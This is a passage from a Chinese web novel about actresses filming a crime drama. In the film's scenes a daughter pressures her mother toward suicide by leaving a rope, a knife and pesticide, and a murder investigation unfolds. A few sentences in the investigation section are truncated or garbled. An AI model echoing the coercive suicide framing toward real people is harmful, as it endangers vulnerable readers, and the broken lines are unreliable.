季繁声音尖利,随着说话语速的加快,呼吸也愈加急促:“你那天回来身上都是血!你说把衣服送到小卖部那婆娘那洗了,她家有洗衣机,洗的干净,我去问了,她说她不知道,她说没见过你那身衣服,你那身衣服的血,到底是你爸的还是猪血!” 一动,一静,季繁和季兇分别位于镜头两端,一歇斯底里,一情绪淡漠。 季兇皱着眉后退一步。 她双颊肌肉紧绷,呼吸在轻微的颤抖,眼睛红了,明明没有泪,却无端的让人觉得疲惫,和某种快意。 “是我。”季兇无声的笑了笑,“我杀了他让你这么愤怒,那你杀了我外婆的时候,有没有想过我有多恨你们?” 在那辆火车上,季兇整个人被愤怒和阴暗的恨意裹挟,她想要毁灭全世界,想立刻就杀了李兴和季繁复仇,想把他们两个人活着剁成肉渣,想把他们的尸体烧了,骨灰扬了,去给外婆赔罪。 季繁瞳孔紧缩,一怔,被季兇这突如其来的一句话打破了沉浸的愤怒,像是盔甲被拆穿,无端的透露出了其下的软弱。 “什、什么……”怒气的源头被戳破,季繁心虚的撇开了视线,丈夫被自己的女儿杀死的理由也开始变得站不住脚。 “你,和李兴,一起,杀了,我外婆。”季兇语速极慢的走上前去,一直停到了季繁的面前。 “妈。”季兇忽然喊她。 季繁极其剧烈的打了个哆嗦,抬头望向季兇的瞬间瞳孔紧缩。 “李兴死了,那你呢?你准备什么时候死?准备怎么死?” 季繁的表情变得怔忡,像是完全不认识季兇一样,趔趄的后退了两步。 她的膝盖发软,跌倒在了身后的老旧木椅上。 “凶器和那件血衣我都留着。”季兇说:“我外婆留的遗嘱找不到了,赔偿金也都在你手里,墓地我暂时买不起,等我能买得起以后,那两件东西会跟着我外婆一起下葬。” “你现在有两个选择。”季兇理了理身上的衣服,叹了口气,拉开了一个小凳子,坐在了上面。 她的眼睛眯了眯,像是很困倦一般的说:“要么你死,我给你收尸,给你挑个好点的墓地,要么你去告发我,让警察来调查,反正他们已经调查了很久了。” 季繁撑起身体,后背弓成一条弧线,颤抖着就要站起来。 季兇一直看着她走到门口。 光与影在这一刻交织成一条极为明显的交界线。 季兇说:“但你想想,妈,我是你唯一的女儿,你先死了妈,后死了丈夫,现在唯一的女儿还要因为杀了自己的继父进监狱,而举报的人,是你。” “你今年,六十多了吧?”季兇把双腿伸平,双手撑在背后的椅子边缘,整个人是惬意而又轻松的,“还能活几年?你受得了街坊邻居骂你?暗地里把你当瘟神,对你避之不及?你看,小卖部、猪肉铺、我发小,对面的模特……这是你知道的,她们都在帮我,那你猜猜,你不知道的,又有多少?” 季繁开门的手停下了。 眼前的这扇门像是忽然变成了封印着无数妖魔鬼怪的开关,季兇说的话让她甚至不敢打开这扇门,不敢出去—— 有多少人帮着季兇一起杀了李兴?又有多少人知道季兇为什么动手,又有多少人,知道是她和李兴合谋杀了自己亲妈? 如果她去举报了季兇,以后她又要怎么活? 恍惚间,季兇说她‘六十多岁’的话又在耳边响起。 季繁看了眼自己粗糙、布满厚茧和老人斑的手。 她比自己的母亲看起来都要苍老许多,和母亲一起出门时,她时常被会认为是妹妹,而不是女儿。 母亲活到了八十多岁,护着她和季兇,被李兴打残疾了,精神都还尚可,身体也还健康……可自己呢? 五年、十年过后,她还能像是现在一样吗? 不会的。 她很多年前就尝到了岁月的威力,对于她而言,似乎每一年的分量都更甚以往,对她的身体负担也变得越来越重。 她上楼都觉得吃力,开始觉得做饭都力不从心,开始觉得手脚总是控制不好,开始觉得大脑开始紊乱,看不清东西,看不清脚下的路…… 那如果,她不去举报季兇呢? 如果季兇当一切都没发生,季兇对她外婆那么好,不嫌脏、不嫌累,无微不至,那她老年…… 季繁的手刚要落下。 季兇像是已经看出了季繁的想法一样,鬼魅一样的走到她的身后,“你没有第二个选择了,妈,我只说了给你收尸。” “我杀了李兴,你以为,我还会放过你吗?”季兇轻声说。 季繁张皇回头,恐惧和惊慌迫使着她向季兇伸出手。 然而她瘦弱、年迈,被李兴殴打多年,哪怕对手只是一个十八岁的文弱女生,她也敌不过季兇的力气。 季兇很轻的推开了季繁的手。 “我就在门口。”季兇说:“你不用急。” 这句话在季繁听来,像是‘你不用急着下地狱,我可以慢慢等’。 一道门隔开了原本该是最亲近的母女二人。 季繁缓缓瘫坐在地上,隔着门,垂下头,发现了季兇进门时丢到地上的塑料袋。 麻绳、水果刀……还有一些农药。 落泪、痛哭、嚎啕、麻木。 渐渐的,季繁向着那根麻绳伸出了手。 画面在这里被定格完成,属于黎数的戏份已经结束了。 但她没有离开,因为陆嵬没喊停。 所有演员井然有序的在进行着,黎数站在门口,看到了本来不该出现的,在戏中饰演路过的邻居的演员。 “小季怎么不进家门啊?” 黎数笑了笑,蹲在地上,说:“忘带钥匙啦。” “进姨家里等会?”邻居说:“这么晚了,吃点东西?” “不了。”黎数说,“云舒姐也快回来了,我等她回来在她那歇着也行。” 邻居便作罢,笑着回了家。 走廊里逐渐恢复了寂静,黎数一个人百无聊赖的在门口小幅度范围的踱步。 就在这个时候,剧本上出现的场景才再一次开始。 刘香铃在屋内写下‘不得好死’四个大字,走到门后,幽幽的说:“你以为,你跟我有区别吗?” 黎数正巧单脚落地,听到声音的时候停顿了片刻。 她的裙摆在摇晃着,昏暗的走廊灯光下,地面的阴影十分深重,裙摆的每一次扩大,阴影就会加重一分。 “你也会变成所有人的拖累。”季繁恶狠狠的说:“所有人都知道你杀了人,你杀了你爸和你妈,所有人都会怀疑到你头上!包括那个警察!” “接连死了二个人,你以为警察会不管吗?” “你挺喜欢那个警察的吧?一个杀人犯,一个连续杀了两个人的杀人犯,跟在一个警察身边。你做的一切不可能天衣无缝的,台风停了,调查继续,等一切都真相大白的那一天,你说,她会怎么对你?” 季繁的声音开始远离门边,门缝中的阴影远去,可转瞬,灯光也暗了下来,一丁点光都没了。 黎数的脚落在了地上。 裙摆静止,底下的阴影如影随形,跟着她的每一步。 摄像机推近,坠入了那一片浓黑。 这一场戏终于拍完,所有人都如释重负的松了口气。 工作人员潮水般涌来,这也是不成文的习惯的,重场戏后帮助演员出戏,现场会在很短的时间就恢复繁华和喧闹。 陆嵬拿过助理送来的花,向前几步送给杀青的刘香铃,同时率先鼓起了掌。 摄影师举着镜头跟上,陆嵬和刘香铃拥抱,而后大方的,用了更大的力道去拥抱黎数。 “很精彩。”陆嵬说:“张力很强,互相怨恨的一对母女形象太棒了。” 刘香铃饰演的季繁在这场戏里反而有更多表象的,容易表现的情绪。 剧本上没有设定温情的记忆片段闪回,刘香铃也没有自作主张演出这一幕。 一直到季繁断气,她都是怨恨着这个让她又恨又怕的女儿的。 季兇的名字是她起的,从始至终,她都觉得季兇就是个灾星。 “小黎的表现太好了。”刘香铃道:“这种被父母虐待,长期把所有情绪全都压制着,用不在意和漠视的态度面对外界,而形成的情感淡漠非常难演。” 因为这样的人不是不难受,不是没有情绪,只是习惯了压抑,习惯了用不在意和没关系去伪装。 她夸得真心实意,甚至在戏里的时候,有几次刘香铃都察觉到了真正意义上的恐惧。 季兇的情绪从不外露,或者说,是她习惯了用淡漠和没有情绪的外表去伪装,这么多年,滴水不漏。 以至于让季繁觉得,这个女儿就是一个天生的怪物,她不知道怕,不知道痛,唯一让她情绪有波动,表露出喜欢的,除了外婆,就是李云舒。 而她也以为,季兇会因为李云舒的存在,和担心被她知道真相的情况而终日痛苦,这才带着扭曲的恨意自杀。 黎数出了戏,但看着一身戏里装扮的刘香铃还是觉得恍惚,有些怅然若失,还有些扭曲的、很莫名的复杂情绪。 对视一眼,她发现刘香铃看向她的时候也同样。 陆嵬恰到好处的堵在了黎数和刘香铃中间,笑着说道:“本来应该给您办个杀青宴,地方也定好了,但您行程太紧,赶不及,回申海以后一定给您补上,这顿就便宜咱们辛苦这么久的工作人员了。” 她这一提醒,刘香铃多年的助理才‘哎呀’一声回过神,看了眼时间说:“咱得出发去机场了!” 高节奏的现实登时打破这诡异的现场氛围,刘香铃走前回头看了眼黎数,说:“我也得缓缓,等彻底出戏以后,咱们申海再聚。” 黎数这下才笑着点了点头,和刘香铃挥了挥手。 今晚已经收工了,入秋后天气转凉,黎数穿着那身裙子下了楼,漫无目的的绕到了房车附近。 她觉得有点冷,但又不想上楼。 后期的剧情多压抑,在顶上待久了会觉得情绪不太好。 陆嵬很快追上来,手里拎着从春风那拿来的黎数的外套。 楼下没多少人,天色也黑,她站在黎数面前,把衣服给她披上,摸了摸黎数冰凉的手腕,轻声说:“去吃点宵夜?” 黎数刚想点头,发现了不远处的一家生面店居然还开着。 老板正在收摊,玻璃柜台里还有些余下的面皮。 停顿了片刻,黎数忽然说:“有点想吃馄饨。” 顺着黎数的视线不难察觉,陆嵬迟疑了片刻,还是说了句,“等我。” 越过一条马路,陆嵬买了点馄饨皮,幸运的是还有蔬菜外卖可以送达,房车上也有简易的做饭工具和调料。 回来时陆嵬表情轻松了些,献宝似的举着手上的馄饨皮摇了摇,“我还以为没了,剩下的全买了,回去做给你吃。” 路灯下,陆嵬眼里的光有点像是碎星。 黎数抱着胳膊,手指捻了下外套,柔声说:“好。” 房车上安静,521带着元宝一起去附近的宠物游泳馆玩还没回来——天知道为什么一只猫咪居然爱游泳。 游泳馆就在附近,没多久,521就带着元宝打车回来了。 这是个小城市,超智能人工机器人实在是太稀罕,司机到了以后恋恋不舍的看了521很久才离开。 521上车后把元宝放开,元宝洗完澡后被店员做了个全身保养,浑身干净的发光发亮。 “我觉得我成大明星啦。”521滑到黎数身边,小身体贴在黎数的身上,仰着头说:“大家都好喜欢我呀。” 黎数的目光从窗外收回,笑着问它:“比如呢?” “所有漂亮姐姐看到我都在尖叫。”521说,“都在说‘我可以摸摸你吗’,‘我可以和你合影吗’‘你是521吗’‘黎数是不是在这里拍戏’‘我好喜欢她’‘我好喜欢你’之类的话。” 小机器人的声线总是快乐的,每一个字的尾音都上扬着。 最后还很不甘愿的补了句,说:“还有人期待陆嵬的电影上映呢,哼。” “万一以后陆嵬要拍机器人系列的电影呢?”黎数开始哄骗机器人:“万一她要选你做主角呢?” 521眨了眨眼,“哇塞!” 剁肉的声音消失,陆嵬的手艺不算太好,但跟着教程走,一些食物经由她手做出来,已经能称得上美味了。 看着陆嵬走出来,黎数说:“你就是大明星,你也很可爱,大家都会喜欢你的。” 521喜滋滋的晃晃脑袋,“那你是更喜欢我还是更喜欢陆嵬呀?” 黎数眨了眨眼:“嗯?” 陆嵬给了521屁股一脚,“没有我哪来的你,上一边去。” 521噘着嘴,大大的‘哼’了一声,但想起黎数刚刚说的‘机器人电影’,又很不怕死,还自觉很大方的说:“那这样吧,小黎喜欢我,爱你,可以吗?” 陆嵬两个都要,压根不搭理它。 但521觉得陆嵬不回答就是同意了,美滋滋跑去看机器美少女战士。 肉馅的香气开始充斥在房车里,黎数也换上了自己的私服*,终于从刚刚的情绪中走了出来,和陆嵬一起包馄饨。 包了四五十个,都很小,塞了一半多放进冰箱,其余的下了锅。 水沸腾的声音让这一刻显得平静而温馨,馄饨熟的快,黎数和陆嵬都站在锅前等着。 陆嵬以为她是饿了,加上今天的戏的确都是重情绪的,有点心疼的捏了捏她的手,说:“很快就好了。” 黎数‘嗯’了声,头向一侧歪倒,靠在了陆嵬的肩上。 随后她整个人的重量都向陆嵬的方向倾斜,陆嵬把火关小,伸手把黎数抱了个满怀。 静静地相拥了一会,陆嵬说道:“我还以为你从来没有入戏深的困扰。” 黎数懒洋洋的‘嗯’了声,回应说:“其实现在也没有。” 陆嵬问她:“那你为什么不高兴?” 黎数沉默了一会。 水开了,馄饨飘在表面上,陆嵬没有松开抱她的手,把火关了。 没有了一丁点噪音,黎数这才说:“就是在想,还好是你来拍这部戏,也还好是我来演季兇。” 陆嵬弯了弯眼睛,“我也不会选别人。” 黎数侧着头,忽然在陆嵬脖颈上轻轻咬了下,很快分开,又安抚的吻了一下。 “谢谢。”黎数说:“我在这部戏里,才觉得自己真正体会到了你爱我的万分之一。” 从痛苦、不健全、甚至是畸形的家庭关系下长大的陆嵬,真的、真的极尽所能,在拼尽全力的来爱她。 陆嵬退开了些,无声的盯着黎数看了会。 黎数笑的温柔,仰头去亲她。 陆嵬睫毛轻轻的颤了颤,和黎数温软的唇紧紧相贴,片刻后说:“正常人知道我有这样的家庭背景,一般都先会想逃。” 陆嵬抿唇笑了笑,头埋在黎数身上狠狠蹭蹭,又深呼吸一口气说:“是你先来爱我的。” 所以我才学会了什么叫爱人。 第98章 第九十八章【VIP】 “像个小狗一样。”黎数失笑着揉弄陆嵬的长发。 陆嵬拖长声音应了一声,吸氧似的猛地在黎数身上吸了一大口,再抬起头时,神情也明显放松了许多。 小馄饨被她们两个和元宝一起吃完,最后一点汤底都喝了。 饱足感上升,浑身暖洋洋的,很轻而易举的抹平了一切负面情绪。 黎数洗漱完毕,懒洋洋的侧躺在床上,伸手百无聊赖的在陆嵬头皮上扒拉。 陆嵬正在回消息,停下的间隙,和坐在床边的元宝对视,盯着猫看了会,她忽然笑着说:“你好像在给我扒跳蚤。” 黎数一愣,忍不住笑了,两手分别扯着一撮陆嵬的头发左右晃晃说:“那我不给你按了。” 陆嵬已经忙完了,手机往旁边一丢,反身趴在黎数的身上。 黎数顺着力道平躺了下去。 灯下的陆嵬长发雪肤,瞳孔却是轻浅的,明明没什么明显的表情,但浑身都写满了满足和爱恋。 胸口一重,陆嵬的脑袋砸了下来,黎数听到陆嵬说:“我好爱你。” 黎数忍不住笑了,手用了点力气在陆嵬头上按了按,很认真的说:“我也是。”- 拍摄还在继续。 随着天气转入深秋,除了下午两点前后,其余的时间都很凉爽舒适。 剧情的进展也开始变得极为紧密。 接连几起死亡案件,在这个寂静的小地方里引起了相当的重视,调查组转变了调查方向,开始从李兴的生平、附近邻居的报案和出警记录等入手。 经过几天的排查,警方得到了一个近乎不可能的结论——这不是单纯的谋杀,而是至少三人、甚至多人以上的合谋。 关于李兴的出警记录高达数十次,然而真正被关押的次数却只有一次——那一次,季兇的外婆被打断了腰,李兴被关了一周,但很快就由于当事人和当事人的女儿出具了谅解书而被放出来了。 恶鬼出笼,熟知法律奈何不了他,一次次明白了自己可以触犯的底线,变得更加肆无忌惮。 在场的调查小组脸色黑沉。 然而此刻追究已经晚了。 李兴所犯下的盗窃、抢劫、酗酒伤人、尾随乃至猥亵,一般的办案基层不会针对他动真格,因为人不可能越过法律去。 而现存的法律更没有对于‘家庭暴力’这一说辞,季兇被打的再狠,说破天了都是‘家事’。 尸检结果终于在案发后的第28天时出来了,尸检报告更是佐证了这一点。 “李兴体内的酒精含量高达300mg,胃里的残留物完好,死因是高空坠楼导致的死亡,他体内的骨骼几乎全部断裂,内脏也有不同程度的破损,加上台风、暴雨,所以腐烂程度极快。” “根据他的骨骼碎裂程度和内脏出血、破损程度,以及手心里检测出的铁屑、木屑等,推断出了他坠楼的具体地点,是在猪肉铺后面的一个超20层以上的烂尾楼,警方也在那检查到了李兴的DNA。” “那么,是谁跟李兴喝的酒?” “李兴在这个时候身无分文,谁会把那么多酒给他喝?还能带他去吃当地价格昂贵的酒店?吃的还是最贵的海鲜宴。” “而李兴在饭后,为什么深夜一个人走到那栋荒无人烟的烂尾楼?一向收摊时间很早的肉摊,在当晚为什么到凌晨的时候灯都还在亮?而在那晚,传出了很久的剁骨头的声音?” 桌面上罗列出了一份份的口供。 李云舒从会议开始前就很沉默,然而作为此次的行动队长,她又不得不和二组的同事深入向下调查。 然而越是调查,就越是心惊。 李兴死亡当晚,小卖部、猪肉铺的营业时间都极晚,小卖部老板娘的女儿回忆,当晚她母亲回来的比平时晚很多,身上还有酒气,第二天对账的时候,一贯让她来检查的酒水单子也没有让她对账。 模特的公司也反应,在李兴死亡的第二天,模特请了假没有上班,而警方在她的家里搜出了几盒没吃多少的药,继而向附近的医院、诊所排查,确定模特是因为酒精摄入过度而引起的酒精中毒,在其中的一家医院里查到了她的就诊记录。 紧随其后,警方也发现了李兴头颅被砍下的第一现场和凶器。 是在猪肉铺杀猪的仓库里,墙面上有,凶器是杀猪用的极重的砍骨刀,清洗干净后,造价极贵,一把就要上百块。 如山的铁证面前,涉案人员很快就把事情交代清楚了。 水饮品,模特去饭局时带上了李兴,趁机给他灌酒,其后在李兴回家以后,李兴尾。 然而侦办进度在这里,就停下了。 因为所有的涉案人员,都否认凶杀,全,包括袒护季兇。 小卖部老板娘:“我只是跟那家酒店有合作,送酒过去的时候顺道喝了点。” 老板爱喝酒,又爱灌酒,我烦都烦死了,但他有钱噻,喝高兴了,那钱就大把大把的给。那一个?带上就喝了呗,他自己喝多了,关我啥事?” 大学生说:“他尾随我,我有错吗?” “你为什么会那么晚一个人去烂尾楼?” “读书压力大,我升高中以后就把那当成秘密基地了,占了一间屋子,看书、复习都在那,我爸妈也知道。” “李兴有尾随你的历史,为什么你还敢一个人去烂尾楼?” “他身体喝酒喝坏了,一条胳膊都不听使唤了,我怕他干什么。” “你已经大学了,还去那里干什么?” “压力大啊。我高中的时候我妈不准我早恋,但我刚大二她又开始张罗着给我相亲,第二天就要我见一个家里做生意的,不想在家待着,就去了呗。” “你跟季兇什么关系?” “小时候的同学,现在的邻居。” “李兴死的时候,她在哪?” “我哪知道她在哪,李兴自己摔死的,跟季兇有什么关系?她在哪不行?” …… 而猪肉铺老板娘则对这一切都矢口否认,一问三不知,说季兇因为在她那帮忙打工,所以季兇手里有仓库的钥匙,会帮她运一些东西。 至于现场和砍刀上为什么有李兴的血迹,老板娘则统一说不知情。 这些内容拍的时候人物庞杂,场次切换,台词的逻辑以及演员的行为、服饰等也一直在跟随进度调整。 配角陆陆续续的杀青离组,电影也终于进行到了最后的收尾阶段。 天气开始转冷,早晚的寒意变得清晰明显,天也开始黑的越来越早。 中场休息的时候,黎数和陆嵬一起缩在监视器后面。 两人手上都捧着一杯红枣茶,甜丝丝的,喝到肚子里就是一股很舒适的温热。 长发在冬天难打理,但陆嵬始终没剪短,只是更多时候,她会挤到黎数那,让她给自己挽成各样的盘发。 一开始黎数并不怎么会——她的手艺只限于丸子头或是麻花辫,稍微复杂一丁点的四股辫就不会弄了,跟着视频来来回回拆装了很久。 陆嵬也不嫌烦,甚至很喜欢这一刻。 她有时候早起不愿意背对着黎数,就岔开腿,让黎数站在她腿间,自己把头埋在黎数怀里,双手揽着她,保持着这个姿势让黎数给她盘发。 黎数后来也察觉到了些许乐趣,经常给陆嵬和521弄成同款的发型,不管是什么奇奇怪怪的发饰都会买一点,不过陆嵬在组里,不是能用这些奇奇怪怪发饰配饰的场合,大多数款式还是落到了521那里。 给521高兴的不行,还求着黎数又买了一个宝宝行李箱,用来收藏那些发饰——它干脆把全部的都占为己有了。 黎数脸上一直带着轻松的笑,说:“黎清说调查组调查的差不多了,她往申海工作的调令也下来了。” “挺好的。”陆嵬说:“以后过年可以去走走。” 她们两个人,应该就是很常见的加起来凑不出来一对父母的典型,但其实以两人的朋友圈看来,这种情况才算常见。 真正意义上家庭和睦,父母俱在且恩爱白头的实在太少。 所以两人以前过年的时候大多都是自己过,有时黎数在组里过,从没去走过什么亲戚,也没吃过什么亲朋好友团聚的年夜饭。 陆嵬忽然问黎数:“年夜饭一般都是怎么吃的?” 黎数也不太有印象了,毕竟她在那个家里其实也挺格格不入的。 但依照印象中模样,她想了想,说:“一家人聚在一起,做一些好吃的,爱吃的,然后看春晚,聊聊天?” 陆嵬想象不太出来什么叫‘一家人其乐融融’,耸耸肩说:“以后有机会的话试试看。” 不过今年可能是不行了。 黎数的事业在走上坡,势头很猛,上升的幅度也非常明显。这段时间以来,她按计划也拍摄了一组业内顶级杂志的内页——虽然这次不是大封,但等到《除凶》播出,就会是大封。 代言方面也一直在观望和筛选,包括后面休息期间的曝光量和综艺的考量等方面。 有遗憾和可惜,因为可能不能一起过年,但黎数和陆嵬没有任何抱怨和不满。 陆嵬的心里忽然被‘家人’这两个字触动了。 借着热茶氤氲的雾气,她忽然喊了声黎数的名字。 黎数‘嗯’了声,下意识转头,陆嵬猝不及防的在她唇上吻了下。 黎数吓了一跳,但其实拍摄进度到了现在,组里大多数人都已经知道她们的关系,也没什么好藏,只是公开的工作场合下,一般不会这么干。 她挑起眉毛,一根手指虚虚点了点陆嵬,轻声说:“胡闹。” 似乎对方唇上的红枣更香甜,也听出黎数根本不是真生气,陆嵬舔了舔唇,无声的笑了- 李云舒找到季兇的时候,她就待在自己的家里,哪也没去。 墙已经被粉刷完成了,不只是那一面墙,是家里全部的墙面。 这不是一个小工程,但季兇很有耐心,屋子里没有了老旧的霉斑、潮湿脱落的墙皮,换了新的、算得上是昂贵的艺术灯,三种颜色,季兇开开关关,在焕然一新,变得亮堂起来的屋子里试了很久。 门没有上锁,在听到门外脚步声的瞬间,季兇停下了按动开关的动作。 室内的灯光被定格在了最亮的档位上,她回过头,望向了推门而入的李云舒,脸上是全篇都少有的灿烂和煦的笑。 去警局的这一路上,两人是步行走的。 季兇问她:“你是一个人来的吗?” 李云舒不知为什么,状态一直紧绷着。 她的脸极美,带了些季兇不曾在亲近的女性身上体会到的柔和的岁月痕迹,因为李云舒面对她的时候,脸上永远是笑着的。 李云舒看了季兇一眼:“嗯。” “带杀人嫌疑犯的时候,不是应该有很多人吗?”季兇说:“一窝蜂的挤进去,要带枪,然后把我按在地上,用枪指着我的头,再给我戴上手铐。” 杀人嫌疑犯。 紧绷许久的一口气缓缓松懈下来,李云舒很难形容这一刻她的想法,只是她的表情开始变得逐渐放松。 “那是警匪片里的,实际不这样。”李云舒说:“你没有凶器,没有同伙,也不持刀,没潜逃。” “好吧。刚刚出来的时候你帮我锁门了吗?” “锁了。” 过了会,李云舒又问她:“喜欢亮堂的房子?” 季兇‘嗯’了声,“还喜欢大的,空荡荡的,不喜欢杂乱,不喜欢有那么多东西。” “多大的?” 季兇对平方数其实也没概念,更不知道布局和结构。老式筒子楼只有一个大开间,她也隐隐约约听说过自己家里就二十平方。 于是她狮子小开口,“起码得三十平,还得有卫生间,最好还能洗澡,我还想要电视里的大浴缸,没有其实也行。” 李云舒就笑了。 笑了一会,她眼眶里慢慢浮现出了些眼泪,然而水迹很快变干,只余下了通红的眼眶。 “这个案子办完以后,你是不是就可以升迁了,调到燕市?” “嗯。” “工资也会涨,会有单位分派的大房子?” 李云舒这次安静了一会,还是说:“嗯。” 警局到了。 穿着便衣的警察们陆陆续续出现在季兇面前,停到了警局门口。 一路上他们暗中跟随,但一直没动手,不知道是出于什么原因,季兇更希望是因为李云舒相信她。 好像没有什么可说的话了,李云舒的未来不会再有她,李云舒会离开这个城市,去更大的地方发展,慢慢的遇到更多更好的人,会把无亲无故的她忘记,会想不起来在这个被台风吹过的夏天里,有一个那么坏的姑娘。 季兇还是笑,而后垂下眼睛,低着头迈入了警局。 李云舒又喊她:“小季。” 季兇在门口站住,没有回头,李云舒冲着她的背影说,“我等着你。五年、十年、二十年,等你出来以后,你会有一个新家。” 这一次回头,季兇的表情是怔忡的,近乎有些恍惚的看着李云舒的脸。 直到被便衣催促,她才缓缓笑了,颤着声说:“好。” 那双眼闪着微微的泪光,让李云舒想到了月光下清冽的河水。 镜头上摇,最后一幕便从季兇黑色的眼过渡到漆黑的夜,白色的月晕缥缈,然而洁白的、在黑夜之中,月亮在发着光- 沈凝雪最后的生活场景转到B组,转移到了燕市的棚内拍摄,和A组暂时脱离,接下来的剧情,全都是黎数一个人的主场戏份。 审讯室内的氛围并不算太剑拔弩张,也没有太针锋相对的讯问场面。 隔着一道铁栏,季兇手上套着手铐,长发散着,一张白生生的脸显得更加娇小。 “临走前,李队长怀疑你实际年龄不满十八周岁,为你申请了骨龄检测,她想为你争取从轻量刑,季兇,你最好不要有任何隐瞒。” 季兇睫毛颤了颤,轻轻点头。 “李兴死的当晚,你在哪里?” “在肉铺打工。” “李兴是怎么死的?” “从楼上摔下来了。” “他摔下来的时候,还活着吗?” “太晚了,看不清。” “我再问你一次,他活着吗?” 季兇抬起头,想了想说:“活着,我听到他喊了。” “你们砍下他的头、对他的尸体进行二次伤害的时候,他还活着吗?” 季兇这次肯定的说:“那时候他已经死了。” 停了下,季兇又道:“你们不是做了尸检吗?人在死前和死后,出血的量、皮肉的状态应该不一样吧?” 讯问人朝她看去。 季兇仍然没什么表情,一张漂亮的脸上好像不会因为讯问,也不会因为刑法而产生什么如同害怕、担忧一类的情绪。 “警官,骨龄鉴定结果出来了吗?” 但讯问的警官忽视了这个问题,抬头看了她一眼,继续开始问话。 直到最后,季兇又问:“不满十八岁的话,我会轻判吗?我没有真的杀人,我只是看着李兴死而已。” 逻辑再串联成线,可量刑和判刑是按照证据来的。 喝酒、尾随、坠楼,每一个环节,每一步,都是李兴自发的行为。 季兇的供词都能对得上,现在只能公诉开庭,依据检察院和法官最后的判决才能确定刑期。 讯问的警官想起李兴的生平,沉默了下,还是说:“不满十八岁的话,一般会从轻量刑。” 季兇抿着唇,终于缓缓点了点头。 季兇在证词上签字、按下手印,被带走前,讯问的警官忽然问她,说道:“李警官说你有自首的意愿,但你那时为什么没有来?” 季兇闻言摇了摇头,过了会,忽然笑了笑,说:“总有些决定是当时也没想明白,想不明白,但做了的。” 随着铁门打开,再关闭,季兇的身影消失在了黑暗的小房间。 至此,黎数正式杀青。 陆嵬第一个从监视器后走出去,和黎数紧紧的拥抱在一起。 黎数的手上还戴着手铐,同样的晚上,同样的冷,但没有风雪。 她笑着接受了陆嵬的拥抱,过了会说:“我手还被拷着。” 道具在一边看天看地,听见这话终于做出动静,刚要打开,钥匙却被陆嵬要走了。 陆嵬沉默的看了眼那副手铐,自己走到黎数的身后打开,轻声说:“磨红了。” 黎数转了转手腕,好笑着说:“总不能拍戏的时候里面还垫衬布。” 杀青这晚邀请了很多媒体,晚上还有杀青宴,等到狂欢结束,估计都要天亮了。 能短暂相处的时间很少,但从今天以后,就不需要被困在片场了。 陆嵬把521叫来,从它的胸口把黎数的那颗戒指取出来,牢牢的套在了她无名指上。 在翡翠上表面摩擦了一下,陆嵬把黎数挤在墙根,很难用言语去说清此刻的心情,一切澎湃的、兴奋的情绪都被行动表达而出,和黎数重重的接吻。 她的手不受控的伸进黎数的衣服里面,去触摸她柔软的腰肢,温热的皮肤,越吻越深,越来越动情。 直到黎数气喘着后退,警告似的说:“待会还要拍大合照,还有杀青宴,别闹了。妆都被你吃完了。” 黎数在戏里只用了防晒和最基础的薄款打底,因为季兇的设定需要极白的肤色,偏病态孱弱,但唇是裸色的。 照陆嵬这么个亲法,嘴唇周边的肤色一定会有色差。 可陆嵬并不满足,还很生气。 “本来戏里你和凝雪姐有一场吻戏。”陆嵬嫉妒无比的说:“你要在她睡着的时候,用充满爱意、渴求、珍惜的目光去看她,然后吻她。” 黎数挑眉:“那怎么没拍?” “你还想拍?”陆嵬瞪她。 “不是你自己写的剧情吗?”黎数拍了下那只在她腰上作威作福的爪子,“轻点。” 陆嵬不满足,哼了一声,把头埋在黎数身上,一边蹭,一边嗅她身上的味道,“结局里的你设定不满十八周岁,有吻戏不合适,就删了。” 听起来倒是挺合理。 明明写这戏的人是陆嵬自己,怎么觉得委屈的还是她? 黎数想笑,忍了会没忍住,捧起陆嵬的脸看了看。 “好生气啊小鬼。”黎数看着陆嵬,故意逗她:“有一股好酸的味道。” 陆嵬撇撇唇角,不吭声。 黎数轻笑着,声音放的很轻,说:“来,看我。” 陆嵬闷着气抬头,“干什……” 抬头的瞬间,陆嵬怔住了。 黎数的神情太温和,也太认真,她看到了黎数的眼圈开始微微发红,拇指在自己的脸上轻轻摩擦,而后,黎数微微俯下身,在她的眼睛上落下了一个吻。 用嘴说无数次都比不上这一个吻,陆嵬的心脏怦怦跳,心想以后做梦的时候,多少噩梦都会被黎数的这双充满爱意的眼占满。 她克制不住汹涌的爱意,再一次和黎数接吻,黎数放松身体,放纵的迎合着陆嵬的动作,直到听到有人喊她们的名字,黎数才从喉咙里溢出了两声哼哼,往后面躲了躲。 陆嵬好像聋了,眼睛里除了黎数水润的唇什么也放不下,追过去还要吻。 黎数轻笑一声,伸手警告似的拍了拍她的脸,声音发哑的说:“不许继续了。” 说罢,又把陆嵬的手从衣服里扯出来,瞪了她一眼。 陆嵬立刻就乖了,站在她面前,然而情潮涌动,哪那么快能压抑得住,一双眼睛隐忍克制,浅色的眸子颜色加深。 但也不敢再继续造次了,可不满足和空虚愈演愈烈,很不满的说:“破杀青宴不能不去吗?破合照有什么好拍的。” 黎数往前走了两步,忽然把身上的羽绒服脱了下来,把陆嵬从头到尾遮了个严严实实。 又在陆嵬头的位置用了点力气拍了一下:“别那么饥渴,忍着点,大夫都说你的状态从咱俩在一起以后就慢慢变好,现在都快痊愈了。” “那不是没痊愈吗。”陆嵬闷闷的声音传来,黎数没让她看到自己眼里的笑,转身走了。 陆嵬把衣服扒拉下来。 衣服上黎数的香气明显,她穿到自己的身上,把领子拉到最高,鼻尖和下巴缩进去,感觉浑身被黎数的气味包裹住了。 拍大合照的时候,媒体邀请来的剧组都在,主摄还是剧组的摄影师,在全组人员面前站成一排,几十台机器对着主创人群。 裘夏站在人群外,举起手机偷拍回来参加杀青宴和大合照的沈凝雪以及,但陆嵬和黎数就站在边上,一定会入镜。 镜头里,裘夏注意到陆嵬一双眼睛死死盯着黎数,一分一毫都不舍得挪开。 明眼人都看出那是浓浓的性|渴|求和占有欲。 她挑了挑眉,把拍照切换成视频,然后发送给黎数,又给陆嵬也发了一份。 发给黎数:【你瞅瞅姓陆的,她好像要把你吃了。】 发给陆嵬:【你完了,今晚这杀青合照发出去之后,你是个变态的事情就藏不住了。】 又发给沈凝雪:【老婆你看咱妹,她好像个变态哦。】 第99章 第九十九章【VIP】 杀青宴从晚上收工开始,一直进行到第二天天色将明。 按照惯例,也不可能杀青当晚就拔营走人,酒店又续了一周,有的人会考虑留下来旅游,也有的可以退房,多余的钱就当是外快,可以给自己补贴。 